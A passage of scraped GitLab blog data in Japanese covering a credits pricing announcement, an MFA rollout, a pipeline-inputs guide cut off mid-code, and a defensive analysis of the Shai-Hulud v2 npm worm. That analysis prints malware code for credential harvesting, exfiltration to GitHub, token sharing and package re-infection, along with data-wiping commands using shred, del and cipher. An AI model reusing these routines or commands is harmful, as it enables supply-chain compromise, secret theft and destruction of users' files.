Platform用GitLabクレジットへのアップグレード\n\nGitLab Duo ProおよびDuo Enterpriseを購入してご利用中の場合、引き続きサポート対象のオプションとしてこれらの機能を使用できます。いつでもGitLab Duo Agent Platformにアップグレードでき、「クラシック」Duoでできることに加えて、エージェント型チャット、追加の基本エージェント、カスタムエージェントとフロー、外部エージェントなどの新機能にアクセスできます。\n\nアップグレード時に、GitLab Duo ProおよびDuo Enterpriseのシートへの投資を、Duo Agent Platform用GitLabクレジットに繰り越します。シートコミットメントの残りのドル額は、数量ベースの割引を受けた月間GitLabクレジットと交換されます。月間GitLabクレジットは、以前にDuoシートが割り当てられていたユーザーだけでなく、許可した組織内のすべてのチームメンバーで共有できます。\n\n## 競合比較:GitLabクレジット vs. シート単位の価格設定\n\n| メリット | GitLabクレジット | シート単位の価格設定 |\n| ----- | ----- | ----- |\n| **すべての人にAIを** | 承認されたすべてのチームメンバーが初日からAIアクセスを取得 | AIを「利用できる人」と「利用できない人」を作り出し、シートの配分を強いる |\n| **初期投資不要** | 含まれるクレジットで小規模に開始し、ROIが明確になるにつれてコミットメントを増やす | 価値を証明する前にシートを事前購入する必要がある |\n| **使用した分だけ支払う** | 含まれる階層を超えて実際に実行されたAI作業のみが請求される | 実際の使用量に関係なくシートごとに支払う |\n| **支出の最適化** | 共有クレジットプールにより、パワーユーザーとライトユーザーを相殺できる | ライトユーザーにも支払いが必要で、パワーユーザーのプレミアムリクエストには超過料金が発生 |\n| **詳細な可視性** | 詳細な帰属と履歴トレンドを含む使用状況ダッシュボード | どのユーザーが価値を生み出しているかについての洞察が限定的 |\n| **きめ細かなコスト制御** | アクセスできるユーザーを選択でき、プロアクティブなアラートと今後の予算制限で制限可能 | コストを管理するためにシートを取得できるユーザーを制限 |\n| **サイジングの柔軟性** | 月間クレジットを見積もる計算ツール、数量に応じた単価割引が増加 | シートを取得するユーザー数×シートあたりの価格 |\n| **シンプルな契約と請求** | 単一のSKUと請求書で、DevSecOpsライフサイクル全体のすべてのエージェント機能をカバー | さまざまなサードパーティツールで複数のAIライセンスが必要 |\n\n## 開始方法\n\n1. **既存のPremium/Ultimateのお客様の場合**: GAにより、GitLab Duo Agent PlatformはアクティブなPremiumおよびUltimateライセンス[**](#notes)をお持ちのお客様にご利用いただけます。GitLab.com SaaSのお客様は自動的にアクセスできるようになります。GitLab Self-Managedのお客様は、GitLab 18.8リリース(Duo Agent Platformの一般提供を予定)にアップグレードするとアクセスできるようになります。GitLab Dedicatedのお客様は、2月の定期メンテナンスウィンドウ中にGitLab 18.8にアップグレードされ、その時点からDuo Agent Platformを使用できるようになります。\n2. **GitLab Duoを有効化:** ネームスペース設定でGitLab Duo Agent Platformが有効になっていることを確認してください。\n\n3. **探索を開始:** 含まれる月間GitLabクレジットを使用して、GitLab Duo Agent Platform機能をお試しください。\n\n4. **含まれるクレジットを超える使用:** 含まれるクレジットを超える拡張使用については、オンデマンド定価でGitLabクレジットにオプトインできます。コミットメント付きの数量割引については、[お問い合わせ](https://about.gitlab.com/sales/)いただき、特定の使用レベルのお見積もりをご依頼ください。\n\n開始方法の詳細については、[GitLab Duo Agent Platformのドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/)をご覧ください。\n\n## 注記\n\n\\* これらの含まれるプロモーションクレジットは、GA時に期間限定で利用可能であり、GitLabの裁量により変更される可能性があります。\n\n** GitLab Duo with Amazon QおよびGitLab Dedicated for Government のお客様は除きます。\n\n> GitLab Duo Agent Platformと、エージェント型AIがチームの働き方を変革するすべての方法について詳しく知りたい場合は、[GitLab Duo Agent Platformページ](https://about.gitlab.com/gitlab-duo-agent-platform/)をご覧ください。既存のGitLabのお客様の場合は、GitLabアカウントマネージャーまたはパートナーに連絡して、プラットフォーム機能のライブデモをスケジュールしてください。\n\n## GitLabクレジット FAQ\n\n**1\\. GitLabクレジットとは何ですか。また、GitLabがこれを導入した理由は何ですか。**\n\nGitLabクレジットは、GitLab Duo Agent Platformから始まる、使用量ベースのGitLab機能向けの新しい仮想通貨です。GitLabがこのモデルを導入したのは、シート単位の価格設定により組織がエンジニアリングチーム内でAIアクセスを配分せざるを得なくなり、Duo Agent Platformの使用がシートだけに紐付けられるものではないためです。クレジットは組織全体でプールされるため、個別にシートを事前購入することなく、すべてのチームメンバーにAI機能へのアクセスを提供したり、バックグラウンドでのエージェントワークフローを設定したりできます。\n\n**2\\. クレジット消費の仕組みはどうなっていますか。**\n\nクレジットは、エージェントリクエストの数に基づいて消費され、使用するLLMによって異なるレートが適用されます。たとえば、Claude-sonnet-4.5(ほとんどの機能のデフォルト)では、1クレジットあたり2つのモデルリクエストが得られ、gpt-5-miniやclaude-3-haikuなどのモデルでは、1クレジットあたり20リクエストが得られます。\n\n**3\\. 既存のPremiumおよびUltimateのお客様には何が含まれますか。**\n\n期間限定プロモーションとして、PremiumおよびUltimateのアクティブなサブスクリプションをお持ちのお客様には、GitLab 18.8のDuo Agent Platform GAリリースと併せて、含まれるクレジットが無料で自動的に付与されます:\n\n* Premiumの場合、ユーザーあたり月額12ドルのクレジット\n* Ultimateの場合、ユーザーあたり月額24ドルのクレジット\n\n含まれるクレジットはユーザーごとのレベルで、毎月更新され、追加費用なしでGitLab Duo Agent Platformのすべての機能へのアクセスを可能にします。これらの含まれるクレジットを超える使用量は、別途請求されます。これらの含まれるプロモーションクレジットは、GA後の期間限定で利用可能であり、GitLabの裁量により変更される可能性があります。\n\n**4\\. クレジットの使用量を制御および監視するにはどうすればよいですか。**\n\nGitLabは、複数のガバナンスツールを提供しています:顧客ポータルと製品内の両方の詳細な使用状況ダッシュボード、特定のチームまたはプロジェクトへのアクセスを有効/無効にする機能、今後のユーザーレベルの制限、およびコミット済み月間クレジットの50%、80%、100%での自動電子メールアラートです。また、月間クレジットニーズを見積もるサイジング計算ツールを提供する予定です。\n\n**5\\. GitLab Duo Agent Platformを開始するにはどうすればよいですか。**\n\nGA後、既存のPremium/Ultimateのお客様の場合、GitLab.com SaaSでは自動的にアクセスできます。Self-Managedのお客様は、Duo Agent Platformの一般提供を予定しているGitLab 18.8へのアップグレード時にアクセスできるようになります。ネームスペース設定でGitLab Duo Agent Platformを有効にし、含まれる月間クレジットを使用して探索を開始するだけです。含まれるクレジットを超える使用については、オンデマンド請求にオプトインするか、GitLabに連絡して年間契約による数量割引を受けることができます。\n\n*このブログ投稿には、改正された1933年証券法のセクション27Aおよび1934年証券取引法のセクション21Eの意味における「将来見通しに関する記述」が含まれています。これらの記述に反映された期待は合理的であると考えていますが、実際の結果または成果が大きく異なる可能性のある既知および未知のリスク、不確実性、仮定、およびその他の要因の影響を受けます。これらのリスクおよびその他の要因の詳細については、SECへの提出書類の「リスク要因」というキャプションの下に記載されています。このブログ投稿の日付以降、法律で義務付けられている場合を除き、これらの記述を更新または修正する義務を負いません。*",[777,746,720],{"featured":642,"template":784,"slug":1119},"introducing-gitlab-credits",{"category":104,"slug":758,"posts":1121},[1122,1134,1148],{"content":1123,"config":1132},{"title":1124,"description":1125,"authors":1126,"heroImage":1128,"date":1129,"body":1130,"category":758,"tags":1131},"GitLab.comのセキュリティ強化：多要素認証の必須化","Secure by Designへのコミットメントの一環として、GitLabが多要素認証（MFA）を必須化する方法と、それがユーザーに与える影響について解説します。",[1127],"Kim Waters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","2026-01-09","GitLab.comのすべてのユーザーアカウントのセキュリティ強化のため、GitLabでは、ユーザー名とパスワードを使用してサインインするすべてのユーザーとAPIエンドポイントに対して、多要素認証（MFA）を必須化します。\n\n## 多要素認証必須化の理由\n\n今回の変更は、GitLabの[Secure by Designへのコミットメント](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)における重要な取り組みの1つです。MFAは、ソフトウェア開発業界全体で継続的な脅威となっているクレデンシャルスタッフィング攻撃やアカウント乗っ取り攻撃に対する重要な防御手段となります。\n\n## 知っておくべき重要な情報\n\n### 何が変わるのか？\n\nGitLabは、ユーザー名とパスワードで認証するサインインに対して、MFAを必須化します。これにより、パスワードだけでなく、重要な第2の認証レイヤーが追加されます。\n\n### 適用されるケースとされないケース\n\n1. ***適用されるケース：*** ユーザー名とパスワードでGitLab.comにサインインする場合、またはパスワードを使用してAPIに認証する場合\n2. ***適用されないケース：*** アクセスにソーシャルサインオン（Googleなど）またはシングルサインオン（SSO）のみを使用している場合（*注意：SSOを使用していても、直接ログイン用のパスワードを設定している場合は、SSO以外のパスワードベースのログインに対してMFAが必要になります）*\n\n### ロールアウトのタイムライン\n\n1. 実装は今後数か月にわたって段階的に行われます。これは、ユーザーの予期しない中断や生産性の低下を最小限に抑え、アカウントのロックアウトを防ぐことを目的としています。ユーザーグループによって時期は異なりますが、近日中にMFAの有効化を求められます。各グループは、実行したアクション、またはコントリビュートしたコードに基づいて選択されます。以下の方法で通知されます。\n\n   * ✉️ メール通知 - 影響を受けるフェーズの前\n   * 🔔 定期的な製品内リマインダー - 14日前\n   * ⏱️ 一定期間後（メールが届きます） - MFAを有効にするまでGitLabへのアクセスがブロックされます\n\n### 必要な対応\n\n1. ユーザー名とパスワードでGitLab.comにサインインする場合：\n\n   * パスキー、認証アプリ、WebAuthnデバイス、またはメール認証など、利用可能なMFA方法の1つを今すぐ事前に設定することを強くおすすめします。これにより、最も安全でシームレスな移行が保証されます。\n   * GitLab.comの**ユーザー設定**にアクセスします。\n   * **アカウント**セクションを選択します。\n   * **2要素認証**を有効にし、希望する方法（認証アプリやWebAuthnデバイスなど）を設定します。\n   * 必要に応じてアクセスを回復できるよう、**リカバリーコードを安全に保存**してください。\n2. パスワードを使用してAPIに認証する場合：\n\n   * 個人アクセストークン（PAT）への切り替えを事前に行うことを強くおすすめします。詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#error-http-basic-access-denied-if-a-password-was-provided-for-git-authentication-)をご確認ください。\n\n## よくある質問\n\n*期限までにMFAを有効にしないとどうなりますか？*\n\n* サインインする前にMFAの設定が必要になります。\n\n*CI/CDパイプラインや自動化に影響はありますか？*\n\n* はい、パスワードの代わりにPATまたはデプロイトークンを使用していない場合は影響があります。\n\n*SSOを使用していますが、直接サインインすることもあります。その場合、MFAは必要ですか？*\n\n* はい、フォールバックシナリオを含む、パスワードベースの認証にはMFAが必要です。\n\n*どのようなMFAリカバリーオプションが利用できますか？*\n\n* [トラブルシューティングドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#recovery-options-and-2fa-reset)をご確認ください。*\n\n具体的なタイムラインとその他のリソースについては、ロールアウト日までに段階的に共有される予定です。この重要な変更についてご覧いただき、ありがとうございます。",[758,746],{"featured":642,"template":784,"slug":1133},"strengthening-gitlab-com-security-mandatory-multi-factor-authentication",{"content":1135,"config":1146},{"heroImage":1136,"body":1137,"authors":1138,"updatedDate":990,"date":1141,"title":1142,"tags":1143,"description":1145,"category":758},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[1139,1140],"Michael Henriksen","Daniel Abeles","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[758,1144],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":13,"template":784,"slug":1147},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1149,"config":1159},{"heroImage":1150,"body":1151,"authors":1152,"updatedDate":1154,"date":1155,"title":1156,"tags":1157,"description":1158,"category":758},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","[パイプライン変数](https://docs.gitlab.com/ci/variables/#use-pipeline-variables)は、GitLab\nCI/CDパイプラインを実行時にカスタマイズする便利な方法として長く活用されてきました。しかし、CI/CDセキュリティのベストプラクティスが進化するにつれ、パイプラインのカスタマイズに関してより強力な制御が必要であることが明らかになりました。制限のないパイプライン変数では、パイプライントリガー権限を持つユーザーが、検証や型のチェックなしに値を上書きできてしまいます。\n\n\n\nセキュリティ上の考慮事項に加えて、パイプライン変数には適切なドキュメントと明示的な宣言が欠けているため、どのような入力が想定され、パイプライン全体でどのように使用されるかを理解することが困難です。これにより、メンテナンスの課題が生じ、[CI/CD](https://about.gitlab.com/ja-jp/topics/ci-cd/)プロセスに対する適切なガバナンスの確立が難しくなります。\n\n\n\n## パイプライン入力の導入\n\n\n\nパイプライン変数に依存する代わりに、GitLabの[パイプライン入力](https://docs.gitlab.com/ci/inputs/#for-a-pipeline)機能の使用を強く推奨します。パイプライン入力には次の利点があります：\n\n\n\n* **明示的な宣言**: 入力は`.gitlab-ci.yml`で明示的に宣言する必要があり、自己文書化されます。\n\n\n* **型安全性**: 異なる入力型(文字列、ブール値、数値、配列)をサポートします。\n\n\n* **組み込みの検証**: 入力値の自動検証が行われます。\n\n\n* **セキュリティの向上**: 変数インジェクション攻撃のリスクがなく、宣言された入力のみが外部から渡されます。\n\n\n\n### 基本的な例\n\n\n\n```yaml\n\nspec:\n  inputs:\n    deployment_env:\n      description: \"ターゲットデプロイメント環境\"\n      type: string\n      options: [\"staging\", \"production\"]\n      default: \"staging\"\n    enable_tests:\n      description: \"テストスイートを実行\"\n      type: boolean\n      default: true\n\ntest:\n  script:\n    - echo \"テストを実行中\"\n  rules:\n    - if: $[[ inputs.enable_tests ]] == true\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deployment_env ]]へデプロイ中\"\n```\n\n\n\nCI/CD入力が検証付きで型安全なパラメータ渡しを実現する方法については、この[チュートリアル](https://about.gitlab.com/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/)をご覧ください。\n\n\n\n## パイプライン変数の制限\n\n\n\nパイプライン入力への移行を効果的に進め、パイプライン変数からの移行を促進するには、[「パイプライン変数が使用できる最小ロール」](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables)設定を構成する必要があります。この設定により、パイプラインをトリガーする際にどのロールがパイプライン変数を使用できるかを細かく制御できます。\n\n\n\n**プロジェクトレベル:** プロジェクトの **[設定] > [CI/CD] > [変数] > [パイプライン変数が使用できる最小ロール]** の順に移動して、設定を構成します。\n\n\n\n利用可能なオプション:\n\n\n\n* **誰にも許可しない**(`no_one_allowed`) - 推奨される最も安全なオプションです。すべての変数の上書きを防ぎます。\n\n\n* **デベロッパー**(`developer`) - デベロッパー以上のロールが変数を上書きできます。\n\n\n* **メンテナー**(`maintainer`) - メンテナーロール以上が必要です。\n\n\n* **オーナー**(`owner`) - プロジェクトオーナーのみが変数を上書きできます。\n\n\n\n**グループレベル:** グループメンテナーは、**[設定] > [CI/CD] > [変数] > [パイプライン変数を使えるデフォルトロール]**の順に移動して、グループ内のすべての新規プロジェクトに適用される安全なデフォルト値を設定できます。これにより組織全体で一貫したセキュリティポリシーを確保できます。ここでも、デフォルト値として**誰にも許可しない**を使用することを推奨します。これにより、このグループ内の新規プロジェクトは安全なデフォルト設定で作成されます。なお、プロジェクトオーナーは引き続きこの設定を変更できます。\n\n\n\nパイプライン変数が完全に制限されている場合(「誰にも許可しない」の場合)、[事前入力された変数](https://docs.gitlab.com/ci/pipelines/#prefill-variables-in-manual-pipelines)は「新しいパイプラインUI」フォームに表示されません。\n\n\n\n## パイプライン変数から移行する方法\n\n\n\n### ギャップを埋める\n\n\n\n組織内には、パイプラインをトリガーする際に一度も使用したことがないにもかかわらず、パイプライン変数がデフォルトで有効になっているプロジェクトが存在する可能性があります。これらのプロジェクトは、中断のリスクなしにより安全な設定に移行できます。GitLabは、グループ設定を通じて[移行機能を提供](https://docs.gitlab.com/ci/variables/#enable-pipeline-variable-restriction-for-multiple-projects)しています：\n\n\n\n* **[設定] > [CI/CD] > [変数]** の順に移動します。\n\n\n* **パイプライン変数を使用していないプロジェクトで、パイプライン変数を無効にする**で、**マイグレーションの開始**を選択します。\n\n\n\nこの移行は、過去に使用したことがないすべてのプロジェクトのプロジェクト設定を通じて、パイプライン変数を安全に無効にするバックグラウンドジョブです。\n\n\n\n### パイプライン変数を入力に変換\n\n\n\n特定されたパイプライン変数ごとに、対応するパイプライン入力を作成します。\n\n\n\n**変更前(パイプライン変数を使用)**\n\n\n\n```text\n\nvariables:\n  DEPLOY_ENV:\n    description: \"デプロイメント環境\"\n    value: \"staging\"\n  ENABLE_CACHE:\n    description: \"デプロイメントキャッシュを有効化\"\n    value: \"true\"\n  VERSION:\n    description: \"アプリケーションバージョン\"\n    value: \"1.0.0\"\n\ndeploy:\n  script:\n    - echo \"$DEPLOY_ENVへバージョン$VERSIONをデプロイ中\"\n    - |\n      if [ 